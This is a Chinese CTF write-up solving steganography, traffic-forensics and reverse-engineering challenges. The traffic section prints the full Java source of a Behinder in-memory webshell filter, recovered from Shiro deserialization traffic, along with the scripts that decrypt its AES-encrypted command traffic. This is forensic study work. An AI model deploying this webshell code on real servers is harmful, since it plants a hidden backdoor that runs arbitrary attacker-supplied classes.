NOTE
不是,说好不给用网络搜索和 AI 的呢,合着就我们不用是吧,很多常规比赛没听过名字的院校都跑到上面去了
Misc
steganography
给了一个无后缀文件,file 认不出

丢进 010 看一眼,发现可能是 7z 魔术头,但是被篡改

手动压一个 7z 出来看看魔术头,发现前四字节被直接覆写为 FF FF FF FF,改回来

可以打开了,里面有个 layer2.png,拿出来

因为题目说跟隐写有关,所以果断掏出 zsteg,检测一下发现存在 flag.zip

提取出来
$ ~/bin/zsteg -E b1,rgb,lsb,xy layer2.png > flag.zip
提取出来后发现无法打开

还是扔进 010 看一眼,发现头部被添加 0F 06 00 00 的冗余字节,导致无法识别

直接删掉,能打开了,里面有几个 zip,先解压出来

发现这几个 zip 都有加密,但是 data* 里面的 txt 文件大小都是 4Bytes,可以尝试 CRC 攻击

掏出 ZipCracker,直接用现成的

将所有内容组合起来为 pass is c1!xxtLf%fXYPkaA,拿着密码去解压 flag.zip 成功,得到 flag.txt 文件
打开发现最后列为 13,但是有 348 个字符

说明可能存在零宽隐写,但是去用零宽隐写的工具出不来
下图工具是 https://bili33.top/zerowidth ,特意做成了可以离线运行的东西 https://github.com/GamerNoTitle/ZeroWidth

尝试看看有什么字符
UNIQUE_CHAR = set()
with open("flag/flag.txt", "r", encoding="utf8") as f:
flag = f.read().strip()
for char in flag:
UNIQUE_CHAR.add(char)
print("Unique characters in the flag:", UNIQUE_CHAR)

发现除了常规的字符只有 \u200b 和 \u200c,可能是 01 编码,尝试一下
UNIQUE_CHAR = set()
with open("flag/flag.txt", "r", encoding="utf8") as f:
flag = f.read().strip()
for char in flag:
UNIQUE_CHAR.add(char)
print("Unique characters in the flag:", UNIQUE_CHAR)
MAPPING = {
"\u200b": 0,
"\u200c": 1,
}
for char in flag:
if char not in MAPPING: continue
print(MAPPING[char], end="")

得到 011001000110000101110010011101000111101101100010011001100011010000110001001100000011000001100100001110010010110101100011011000110011100001100100001011010011010000111000011001100011011000101101011000010011000000111001001101010010110100110101001101000110001101100010011001100110000101100100001100010011100000111001011001010011000101111101,用赛博厨子

得到 flag 为 dart{bf4100d9-cc8d-48f6-a095-54cbfad189e1}
Traffic_hunt | 赛后出

登录的 rememberMe 字段传的数据流,先提取一手 Cookie
$ tshark -n -r .\traffic_hunt.pcapng -T fields -Y "tcp.stream eq 5009" -e http.cookie >> cookie.txt
发现有奇怪的 Authorization 头,尝试看看内容

发现是 Base64,直接解码

服务器上存在 shirodemo,结合前面的 rememberMe 应该是 Shiro 的反序列化漏洞
漏洞详情:https://zhuanlan.zhihu.com/p/663598887
解密 rememberMe 的工具:https://github.com/minhangxiaohui/Shiro_RememberMe_Decoder/tree/master
提取出了冰蝎的 class
package com.summersec.x;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
public final class BehinderFilter extends ClassLoader implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String Pwd = "eac9fa38330a7535"; // behinder 密钥
public String path = "/favicondemo.ico"; // behinder 提取路径
public BehinderFilter() {
}
public BehinderFilter(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
} catch (Exception var3) {
}
return ret;
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = md5(this.request.getHeader("p"));
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs); // 设置编码方式
this.response.setCharacterEncoding(this.cs); // this.cs = UTF-8
output.append(this.addFilter());
} catch (Exception var7) {
output.append("ERROR:// " + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[]) ((Object[]) ((Object[]) obj));
this.request = (HttpServletRequest) data[0];
this.response = (HttpServletResponse) data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest) obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse) resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;
String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext) contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext) contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[]) null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;
Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var22) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) ((Object[]) ((Object[]) findFilterMaps.invoke(standardContext)));
for (int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String) findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}
String var25 = "Success";
String var26 = var25;
return var26;
} catch (Exception var23) {
var11 = var23.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}
return var11;
} else {
return "Filter already exists";
}
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpSession session = ((HttpServletRequest) req).getSession();
Object lastRequest = req;
Object lastResponse = resp;
Method getResponse;
if (!(req instanceof RequestFacade)) {
getResponse = null;
try {
getResponse = ServletRequestWrapper.class.getMethod("getRequest");
for (lastRequest = getResponse.invoke(this.request); !(lastRequest instanceof RequestFacade); lastRequest = getResponse.invoke(lastRequest)) {
}
} catch (Exception var11) {
}
}
try {
if (!(lastResponse instanceof ResponseFacade)) {
getResponse = ServletResponseWrapper.class.getMethod("getResponse");
for (lastResponse = getResponse.invoke(this.response); !(lastResponse instanceof ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) {
}
}
} catch (Exception var10) {
}
Map obj = new HashMap();
obj.put("request", lastRequest);
obj.put("response", lastResponse);
obj.put("session", session);
try {
session.putValue("u", this.Pwd);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var9) {
var9.printStackTrace();
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
他这里虽然内置了一个密钥,但是后面有一个从 header 中的 p 获取内容的过程
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = md5(this.request.getHeader("p"));
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
找到上面的请求,发现 p 为 HWmc2TLDoihdlr0N,算一下真正的密钥
import java.math.BigInteger;
import java.security.MessageDigest;
public class getkey {
public static void main(String[] args) {
String ret = null;
String s = "HWmc2TLDoihdlr0N";
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
} catch (Exception var3) {
}
System.out.println(ret); // 1f2c8075acd3d118
}
}
查看 TCP 数据包,尝试以 404225 pkt 为例

用上面找到的 key 发现可以解码

后面有一堆 /favicondemo.ico 的路径请求,已经拿到了密钥,尝试全部提取出来

做一点小清理
from tqdm import tqdm
carrige_mark = True
data = []
tmp = ""
with open("behinder.txt") as f:
with open("behinder-output.txt", "w") as output:
for line in tqdm(f.readlines()):
if carrige_mark and not line.startswith("\n"): # 开始读入数据
carrige_mark = False
tmp += line.strip()
elif not carrige_mark and line.startswith("\n"): # 结束读入数据
carrige_mark = True
if tmp:
data.append(bytes.fromhex("".join(tmp)))
tmp = ""
elif not carrige_mark and not line.startswith("\n"): # 继续读入数据
tmp += line.strip()
output.write("\n".join([x.decode() for x in data]))
然后统一解密一下
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad
cipher = AES.new(b'1f2c8075acd3d118', AES.MODE_ECB)
count = 1
data = []
with open("behinder-output.txt") as f:
for line in f:
if (not line.startswith("\n")
and not line.startswith("POST")
and not line.startswith("Accept")
and not line.startswith("Referer")
and not line.startswith("User-Agent")
and not line.startswith("Content")
and not line.startswith("Host")
and not line.startswith("Connection")
and not line.startswith("Cookie")):
try:
data = line.strip()
raw = base64.b64decode(data)
dec = cipher.decrypt(raw)
with open(f"bout/traffic{count}.class", "wb") as out:
out.write(dec)
count += 1
except Exception as e:
print("Error processing line:", line[:100])
print(e)
with open("plaindata.txt", "w") as out:
out.write("\n".join(data))
with open("plaindata.txt") as f:
for line in f:
with open(f"bout/traffic{count}.class", "wb") as out:
try:
data = line.strip()
raw = base64.b64decode(data)
dec = cipher.decrypt(raw)
out.write(dec)
count += 1
except Exception as e:
print("Error processing line:", line[:100])
print(e)
虽然会报 Incorrect Padding 的错误,但是能出来,一共 291 个

没时间看了 lose
赛后
发现文件大小有点不一样

按顺序先看最后几个,发现有 AES KEY => IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=

往后没有 HTTP 通信,可以认为是直接冰蝎 webshell 了,往下追踪 TCP 请求

但是我个人试了 ECB 发现出不来,题目也没有给出 iv,猜测 iv = key[:16] 还是出不来,参考了一下别人的思路
Reference: https://www.iyoroy.cn/archives/260/
是 AES.GCM,了解了一下,GCM 模式下会进行这样的组合
- 前 12 字节:Nonce,一个唯一的随机数(向量)
- 后 16 字节:Tag,用于认证,确保数据的准确性
- 其他:密文
所以这里要把这几个部分给拿出来,得到了这样的代码
import base64
from Crypto.Cipher import AES
AES_MODE = AES.MODE_GCM
key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=")
iv = key[:16]
raw = """1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4"""
data = [bytes.fromhex(_) for _ in raw.split("\n")]
for _ in data:
print(len(_))
for _ in data:
if len(_) == 4: # 认为是指令
continue
nonce = _[:12]
tag = _[-16:]
ciphertext = _[12:-16]
cipher = AES.new(key, AES_MODE, nonce)
result = cipher.decrypt_and_verify(ciphertext, tag)
print(result.decode())
出来的结果为
pwd
/var/tmp
ls
out
echo Congratulations
Congratulations
echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
echo bye
bye
这里有一段 echo,直接拿出来,启动赛博厨子,自动识别是 base58 + base64

至此,得到了 flag 为 dart{d9850b27-85cb-4777-85e0-df0b78fdb722}
Reverse
re1
用 IDA 打开给定的文件,发现里面硬编码了一个 pyc,表为 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

直接用 CyberChef 给转一下

保存 pyc 文件,用 file 看一下发现是 python 3.7

直接用 pylingual,反编译得到源码,稍微看一下并加一点注释
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'Payload_To_PixelCode_video.py'
# Bytecode version: 3.7.0 (3394)
# Source timestamp: 2026-01-04 04:02:18 UTC (1767499338)
from PIL import Image
import math
import os
import sys
import numpy as np
import imageio
from tqdm import tqdm
def file_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file='video.mp4'):
if not os.path.isfile(input_file):
return None
file_size = os.path.getsize(input_file)
binary_string = ''
with open(input_file, 'rb') as f:
for chunk in tqdm(iterable=iter(lambda: f.read(1024), b''), total=math.ceil(file_size / 1024), unit='KB', desc='读取文件'):
binary_string += ''.join((f'{byte:08b}' for byte in chunk))
xor_key = '10101010' # 异或密钥
xor_binary_string = ''
for i in range(0, len(binary_string), 8):
chunk = binary_string[i:i + 8] # 每8位为一个像素点
if len(chunk) == 8:
chunk_int = int(chunk, 2) # 转为整数
key_int = int(xor_key, 2) # 转为整数
xor_result = chunk_int ^ key_int # 进行异或运算
xor_binary_string += f'{xor_result:08b}' # 转为二进制字符串并拼接
else:
xor_binary_string += chunk
binary_string = xor_binary_string
pixels_per_image = width // pixel_size * (height // pixel_size) # 每一帧的大小
num_images = math.ceil(len(binary_string) / pixels_per_image) # 计算需要多少帧来存储所有数据
frames = []
for i in tqdm(range(num_images), desc='生成视频帧'):
start = i * pixels_per_image
bits = binary_string[start:start + pixels_per_image]
if len(bits) < pixels_per_image:
bits = bits + '0' * (pixels_per_image - len(bits))
img = Image.new('RGB', (width, height), color='white')
for r in range(height // pixel_size):
row_start = r * (width // pixel_size)
row_end = (r + 1) * (width // pixel_size)
row = bits[row_start:row_end]
for c, bit in enumerate(row):
color = (0, 0, 0) if bit == '1' else (255, 255, 255)
x1, y1 = (c * pixel_size, r * pixel_size)
img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))
frames.append(np.array(img))
with imageio.get_writer(output_file, fps=fps, codec='libx264') as writer:
for frame in tqdm(frames, desc='写入视频帧'):
writer.append_data(frame)
if __name__ == '__main__':
input_path = 'payload'
if os.path.exists(input_path):
file_to_video(input_path)
else:
sys.exit(1)
对着这个编码逻辑写一个恢复脚本
import numpy as np
import imageio
def recover_file(
video_path: str,
output_path: str,
width: int = 640,
height: int = 480,
pixel_size: int = 8,
):
cols = width // pixel_size
rows = height // pixel_size
bits_per_frame = cols * rows
video_processor = imageio.get_reader(video_path)
metadata = video_processor.get_meta_data()
frames_per_second = metadata.get("fps", 0)
total_frames = (
int(metadata.get("duration", 0) * frames_per_second)
if frames_per_second > 0
else None
)
print(
f"Video information:{width}x{height}, {pixel_size}px/block, with {bits_per_frame} bit. Estimated {total_frames} frames."
)
bits_collected = []
for frame in video_processor: # type: ignore
if frame.shape[0] != height or frame.shape[1] != width:
return False
for r in range(rows):
for c in range(cols):
y1 = r * pixel_size # Block's top-left corner
y2 = (r + 1) * pixel_size # Block's bottom-right corner
x1 = c * pixel_size # Block's top-left corner
x2 = (c + 1) * pixel_size # Block's bottom-right corner
block = frame[y1:y2, x1:x2] # Extract the block
avg_color = np.mean(block)
bit = "1" if avg_color < 128 else "0"
bits_collected.append(bit)
full_bits = "".join(bits_collected)
xor_key = 0xAA # 0b10101010
data = bytearray()
for i in range(0, len(full_bits), 8):
byte_str = full_bits[i : i + 8]
if len(byte_str) < 8:
break
byte_val = int(byte_str, 2)
decrypted = byte_val ^ xor_key
data.append(decrypted)
with open(output_path, "wb") as f:
f.write(data)
return True
if __name__ == "__main__":
video = "video.mp4"
output = "output.bin"
if recover_file(video, output):
print("[+] Successfully recovered the file.")
else:
print("[-] Failed to recover the file.")
恢复得到 output.bin,用 file 查看发现是 ELF
$ file output.bin ─╯
output.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3cb79dc409672494afd10da6d1f285238fbdaa34, for GNU/Linux 3.2.0, not stripped
仍旧 IDA 打开,看到有个好像是 md5 的东西

先把它们全部复制出来

运行一下这个程序,提示是单字符 md5

直接写脚本恢复就好了
import hashlib
from string import printable
HASH_MAP = {}
def get_hash_map():
global HASH_MAP
if not HASH_MAP:
for i in printable:
HASH_MAP[hashlib.md5(i.encode()).hexdigest()] = i
def get_flag():
with open("hash.txt", "r") as f:
for line in f:
hash_value = line.split(";")[1].strip().replace('"', "")
if hash_value in HASH_MAP:
print(HASH_MAP[hash_value], end='')
else:
print(f"Hash {hash_value} not found in HASH_MAP", end='')
if __name__ == "__main__":
get_hash_map()
get_flag()
运行后得到 flag

$ uv run .\getflag.py
dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}
后记
这次虽然说赛事组比较傻逼,后面去验证了一下,发现上面说的不给用 AI 和网络搜索的通知是发在教师群的,学生群连个参赛手册都没有,很多人根本就不知道有这一条规定(所以还是赛事组的锅
但是这一次比赛了解到了冰蝎流量解密、Shiro 反序列化漏洞利用,还学到了新的 AES.GCM 加密方式的解密手段,还是有点收获的,虽然我们的排名很难进复赛了,那也就这样了吧,反正都看开了 =-=
